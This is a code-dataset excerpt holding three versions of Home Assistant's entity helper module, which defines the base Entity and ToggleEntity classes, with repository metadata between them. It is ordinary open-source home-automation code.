def device_class(self) -> Optional[str]:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self) -> Optional[str]:
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self) -> Optional[str]:
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self) -> Optional[str]:
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> Optional[int]:
"""Flag supported features."""
return None
@property
def context_recent_time(self) -> timedelta:
"""Time that a context is considered recent."""
return timedelta(seconds=5)
@property
def entity_registry_enabled_default(self) -> bool:
"""Return if the entity should be enabled when first added to the entity registry."""
return True
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@property
def enabled(self) -> bool:
"""Return if the entity is enabled in the entity registry.
If an entity is not part of the registry, it cannot be disabled
and will therefore always be enabled.
"""
return self.registry_entry is None or not self.registry_entry.disabled
@callback
def async_set_context(self, context: Context) -> None:
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
async def async_update_ha_state(self, force_refresh: bool = False) -> None:
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
# update entity data
if force_refresh:
try:
await self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
self._async_write_ha_state()
@callback
def async_write_ha_state(self) -> None:
"""Write the state to the state machine."""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
self._async_write_ha_state()
@callback
def _async_write_ha_state(self) -> None:
"""Write the state to the state machine."""
if self.registry_entry and self.registry_entry.disabled_by:
if not self._disabled_reported:
self._disabled_reported = True
assert self.platform is not None
_LOGGER.warning(
"Entity %s is incorrectly being triggered for updates while it is disabled. This is a bug in the %s integration",
self.entity_id,
self.platform.platform_name,
)
return
start = timer()
attr = self.capability_attributes
attr = dict(attr) if attr else {}
if not self.available:
state = STATE_UNAVAILABLE
else:
sstate = self.state
state = STATE_UNKNOWN if sstate is None else str(sstate)
attr.update(self.state_attributes or {})
attr.update(self.device_state_attributes or {})
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
entry = self.registry_entry
# pylint: disable=consider-using-ternary
name = (entry and entry.name) or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = (entry and entry.icon) or self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
extra = ""
if "custom_components" in type(self).__module__:
extra = "Please report it to the custom component author."
else:
extra = (
"Please create a bug report at "
"https://github.com/home-assistant/home-assistant/issues?q=is%3Aopen+is%3Aissue"
)
if self.platform:
extra += (
f"+label%3A%22integration%3A+{self.platform.platform_name}%22"
)
_LOGGER.warning(
"Updating state for %s (%s) took %.3f seconds. %s",
self.entity_id,
type(self),
end - start,
extra,
)
# Overwrite properties that have been set in the config file.
assert self.hass is not None
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (
unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT)
and unit_of_measure != units.temperature_unit
):
prec = len(state) - state.index(".") - 1 if "." in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (
self._context_set is not None
and dt_util.utcnow() - self._context_set > self.context_recent_time
):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context
)
def schedule_update_ha_state(self, force_refresh: bool = False) -> None:
"""Schedule an update ha state change task.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
assert self.hass is not None
self.hass.add_job(self.async_update_ha_state(force_refresh)) # type: ignore
@callback
def async_schedule_update_ha_state(self, force_refresh: bool = False) -> None:
"""Schedule an update ha state change task.
This method must be run in the event loop.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
if force_refresh:
assert self.hass is not None
self.hass.async_create_task(self.async_update_ha_state(force_refresh))
else:
self.async_write_ha_state()
async def async_device_update(self, warning: bool = True) -> None:
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
await self.parallel_updates.acquire()
assert self.hass is not None
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING,
_LOGGER.warning,
"Update of %s is taking over %s seconds",
self.entity_id,
SLOW_UPDATE_WARNING,
)
try:
# pylint: disable=no-member
if hasattr(self, "async_update"):
await self.async_update() # type: ignore
elif hasattr(self, "update"):
await self.hass.async_add_executor_job(self.update) # type: ignore
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func: CALLBACK_TYPE) -> None:
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_removed_from_registry(self) -> None:
"""Run when entity has been removed from entity registry.
To be extended by integrations.
"""
@callback
def add_to_platform_start(
self,
hass: HomeAssistant,
platform: EntityPlatform,
parallel_updates: Optional[asyncio.Semaphore],
) -> None:
"""Start adding an entity to a platform."""
if self._added:
raise HomeAssistantError(
f"Entity {self.entity_id} cannot be added a second time to an entity platform"
)
self.hass = hass
self.platform = platform
self.parallel_updates = parallel_updates
self._added = True
@callback
def add_to_platform_abort(self) -> None:
"""Abort adding an entity to a platform."""
self.hass = None
self.platform = None
self.parallel_updates = None
self._added = False
async def add_to_platform_finish(self) -> None:
"""Finish adding an entity to a platform."""
await self.async_internal_added_to_hass()
await self.async_added_to_hass()
self.async_write_ha_state()
async def async_remove(self) -> None:
"""Remove entity from Home Assistant."""
assert self.hass is not None
if self.platform and not self._added:
raise HomeAssistantError(
f"Entity {self.entity_id} async_remove called twice"
)
self._added = False
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
await self.async_internal_will_remove_from_hass()
await self.async_will_remove_from_hass()
self.hass.states.async_remove(self.entity_id, context=self._context)
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
To be extended by integrations.
"""
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
To be extended by integrations.
"""
async def async_internal_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
Not to be extended by integrations.
"""
assert self.hass is not None
if self.platform:
info = {"domain": self.platform.platform_name}
if self.platform.config_entry:
info["source"] = SOURCE_CONFIG_ENTRY
info["config_entry"] = self.platform.config_entry.entry_id
else:
info["source"] = SOURCE_PLATFORM_CONFIG
self.hass.data.setdefault(DATA_ENTITY_SOURCE, {})[self.entity_id] = info
if self.registry_entry is not None:
# This is an assert as it should never happen, but helps in tests
assert (
not self.registry_entry.disabled_by
), f"Entity {self.entity_id} is being added while it's disabled"
self.async_on_remove(
async_track_entity_registry_updated_event(
self.hass, self.entity_id, self._async_registry_updated
)
)
async def async_internal_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
Not to be extended by integrations.
"""
if self.platform:
assert self.hass is not None
self.hass.data[DATA_ENTITY_SOURCE].pop(self.entity_id)
async def _async_registry_updated(self, event: Event) -> None:
"""Handle entity registry update."""
data = event.data
if data["action"] == "remove":
await self.async_removed_from_registry()
await self.async_remove()
if data["action"] != "update":
return
assert self.hass is not None
ent_reg = await self.hass.helpers.entity_registry.async_get_registry()
old = self.registry_entry
self.registry_entry = ent_reg.async_get(data["entity_id"])
assert self.registry_entry is not None
if self.registry_entry.disabled_by is not None:
await self.async_remove()
return
assert old is not None
if self.registry_entry.entity_id == old.entity_id:
self.async_write_ha_state()
return
await self.async_remove()
assert self.platform is not None
self.entity_id = self.registry_entry.entity_id
await self.platform.async_add_entities([self])
def __eq__(self, other: Any) -> bool:
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self) -> str:
"""Return the representation."""
return f"<Entity {self.name}: {self.state}>"
async def async_request_call(self, coro: Awaitable) -> None:
"""Process request batched."""
if self.parallel_updates:
await self.parallel_updates.acquire()
try:
await coro
finally:
if self.parallel_updates:
self.parallel_updates.release()
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
raise NotImplementedError()
async def async_turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
assert self.hass is not None
await self.hass.async_add_executor_job(ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
raise NotImplementedError()
async def async_turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
assert self.hass is not None
await self.hass.async_add_executor_job(ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
async def async_toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
await self.async_turn_off(**kwargs)
else:
await self.async_turn_on(**kwargs)
| {
"repo_name": "tchellomello/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "23198",
"license": "apache-2.0",
"hash": 8435125646816458000,
"line_mean": 31.9517045455,
"line_max": 133,
"alpha_frac": 0.6056125528,
"autogenerated": false,
"ratio": 4.295130531383077,
"config_test": true,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5400743084183077,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
from abc import ABC
import asyncio
from datetime import datetime, timedelta
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Any, Dict, Iterable, List, Optional, Union
from homeassistant.const import (
ATTR_ASSUMED_STATE,
ATTR_FRIENDLY_NAME,
ATTR_HIDDEN,
ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT,
DEVICE_DEFAULT_NAME,
STATE_OFF,
STATE_ON,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
TEMP_CELSIUS,
TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE,
ATTR_SUPPORTED_FEATURES,
ATTR_DEVICE_CLASS,
)
from homeassistant.helpers.entity_platform import EntityPlatform
from homeassistant.helpers.entity_registry import (
EVENT_ENTITY_REGISTRY_UPDATED,
RegistryEntry,
)
from homeassistant.core import HomeAssistant, callback, CALLBACK_TYPE, Context
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async_ import run_callback_threadsafe
from homeassistant.util import dt as dt_util
# mypy: allow-untyped-defs, no-check-untyped-defs, no-warn-return-any
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
def generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[List[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
return run_callback_threadsafe(
hass.loop,
async_generate_entity_id,
entity_id_format,
name,
current_ids,
hass,
).result()
name = (slugify(name or "") or slugify(DEVICE_DEFAULT_NAME)).lower()
return ensure_unique_string(entity_id_format.format(name), current_ids)
@callback
def async_generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[Iterable[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(entity_id_format.format(slugify(name)), current_ids)
class Entity(ABC):
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityPlatform
hass: Optional[HomeAssistant] = None
# Owning platform instance. Will be set by EntityPlatform
platform: Optional[EntityPlatform] = None
# If we reported if this entity was slow
_slow_reported = False
# If we reported this entity is updated while disabled
_disabled_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates: Optional[asyncio.Semaphore] = None
# Entry in the entity registry
registry_entry: Optional[RegistryEntry] = None
# Hold list for functions to call on remove.
_on_remove: Optional[List[CALLBACK_TYPE]] = None
# Context
_context: Optional[Context] = None
_context_set: Optional[datetime] = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> Optional[str]:
"""Return a unique ID."""
return None
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> Union[None, str, int, float]:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return the state attributes.
Implemented by component base class. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def device_state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return device specific state attributes.
Implemented by platform classes. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def device_info(self) -> Optional[Dict[str, Any]]:
"""Return device specific attributes.
Implemented by platform classes.
"""
return None
@property
def device_class(self) -> Optional[str]:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self) -> Optional[str]:
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self) -> Optional[str]:
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self) -> Optional[str]:
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> Optional[int]:
"""Flag supported features."""
return None
@property
def context_recent_time(self) -> timedelta:
"""Time that a context is considered recent."""
return timedelta(seconds=5)
@property
def entity_registry_enabled_default(self) -> bool:
"""Return if the entity should be enabled when first added to the entity registry."""
return True
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@property
def enabled(self) -> bool:
"""Return if the entity is enabled in the entity registry.
If an entity is not part of the registry, it cannot be disabled
and will therefore always be enabled.
"""
return self.registry_entry is None or not self.registry_entry.disabled
@callback
def async_set_context(self, context: Context) -> None:
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
async def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
# update entity data
if force_refresh:
try:
await self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
self._async_write_ha_state()
@callback
def async_write_ha_state(self):
"""Write the state to the state machine."""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
self._async_write_ha_state()
@callback
def _async_write_ha_state(self):
"""Write the state to the state machine."""
if self.registry_entry and self.registry_entry.disabled_by:
if not self._disabled_reported:
self._disabled_reported = True
_LOGGER.warning(
"Entity %s is incorrectly being triggered for updates while it is disabled. This is a bug in the %s integration.",
self.entity_id,
self.platform.platform_name,
)
return
start = timer()
attr = {}
if not self.available:
state = STATE_UNAVAILABLE
else:
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr.update(self.state_attributes or {})
attr.update(self.device_state_attributes or {})
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
entry = self.registry_entry
# pylint: disable=consider-using-ternary
name = (entry and entry.name) or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
hidden = self.hidden
if hidden:
attr[ATTR_HIDDEN] = hidden
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
_LOGGER.warning(
"Updating state for %s (%s) took %.3f seconds. "
"Please report platform to the developers at "
"https://goo.gl/Nvioub",
self.entity_id,
type(self),
end - start,
)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (
unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT)
and unit_of_measure != units.temperature_unit
):
prec = len(state) - state.index(".") - 1 if "." in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (
self._context is not None
and dt_util.utcnow() - self._context_set > self.context_recent_time
):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context
)
def schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh))
@callback
def async_schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
This method must be run in the event loop.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
self.hass.async_create_task(self.async_update_ha_state(force_refresh))
async def async_device_update(self, warning=True):
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
await self.parallel_updates.acquire()
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING,
_LOGGER.warning,
"Update of %s is taking over %s seconds",
self.entity_id,
SLOW_UPDATE_WARNING,
)
try:
# pylint: disable=no-member
if hasattr(self, "async_update"):
await self.async_update()
elif hasattr(self, "update"):
await self.hass.async_add_executor_job(self.update)
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func: CALLBACK_TYPE) -> None:
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_remove(self):
"""Remove entity from Home Assistant."""
await self.async_internal_will_remove_from_hass()
await self.async_will_remove_from_hass()
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
self.hass.states.async_remove(self.entity_id)
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
To be extended by integrations.
"""
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
To be extended by integrations.
"""
async def async_internal_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
Not to be extended by integrations.
"""
if self.registry_entry is not None:
assert self.hass is not None
self.async_on_remove(
self.hass.bus.async_listen(
EVENT_ENTITY_REGISTRY_UPDATED, self._async_registry_updated
)
)
async def async_internal_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
Not to be extended by integrations.
"""
async def _async_registry_updated(self, event):
"""Handle entity registry update."""
data = event.data
if (
data["action"] != "update"
or data.get("old_entity_id", data["entity_id"]) != self.entity_id
):
return
ent_reg = await self.hass.helpers.entity_registry.async_get_registry()
old = self.registry_entry
self.registry_entry = ent_reg.async_get(data["entity_id"])
if self.registry_entry.disabled_by is not None:
await self.async_remove()
return
if self.registry_entry.entity_id == old.entity_id:
self.async_write_ha_state()
return
await self.async_remove()
self.entity_id = self.registry_entry.entity_id
await self.platform.async_add_entities([self])
def __eq__(self, other):
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self) -> str:
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
# call an requests
async def async_request_call(self, coro):
"""Process request batched."""
if self.parallel_updates:
await self.parallel_updates.acquire()
try:
await coro
finally:
if self.parallel_updates:
self.parallel_updates.release()
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def async_turn_on(self, **kwargs):
"""Turn the entity on.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def async_turn_off(self, **kwargs):
"""Turn the entity off.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
def async_toggle(self, **kwargs):
"""Toggle the entity.
This method must be run in the event loop and returns a coroutine.
"""
if self.is_on:
return self.async_turn_off(**kwargs)
return self.async_turn_on(**kwargs)
| {
"repo_name": "joopert/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "2",
"size": "19726",
"license": "apache-2.0",
"hash": -5773284281456958000,
"line_mean": 30.8675282714,
"line_max": 134,
"alpha_frac": 0.6050897293,
"autogenerated": false,
"ratio": 4.291993037423847,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.000048158984106786386,
"num_lines": 619
} |
"""An abstract class for entities."""
from datetime import timedelta
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Optional, List, Iterable
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE, ATTR_SUPPORTED_FEATURES, ATTR_DEVICE_CLASS)
from homeassistant.core import HomeAssistant, callback
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async_ import run_callback_threadsafe
from homeassistant.util import dt as dt_util
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]] = None,
hass: Optional[HomeAssistant] = None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (slugify(name) or slugify(DEVICE_DEFAULT_NAME)).lower()
return ensure_unique_string(
entity_id_format.format(name), current_ids)
@callback
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[Iterable[str]] = None,
hass: Optional[HomeAssistant] = None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
class Entity:
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityPlatform
hass = None # type: Optional[HomeAssistant]
# Owning platform instance. Will be set by EntityPlatform
platform = None
# If we reported if this entity was slow
_slow_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates = None
# Name in the entity registry
registry_name = None
# Hold list for functions to call on remove.
_on_remove = None
# Context
_context = None
_context_set = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return a unique ID."""
return None
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def device_info(self):
"""Return device specific attributes.
Implemented by platform classes.
"""
return None
@property
def device_class(self) -> str:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> int:
"""Flag supported features."""
return None
@property
def context_recent_time(self):
"""Time that a context is considered recent."""
return timedelta(seconds=5)
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@callback
def async_set_context(self, context):
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
async def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
# update entity data
if force_refresh:
try:
await self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
start = timer()
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
else:
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
name = self.registry_name or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
hidden = self.hidden
if hidden:
attr[ATTR_HIDDEN] = hidden
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
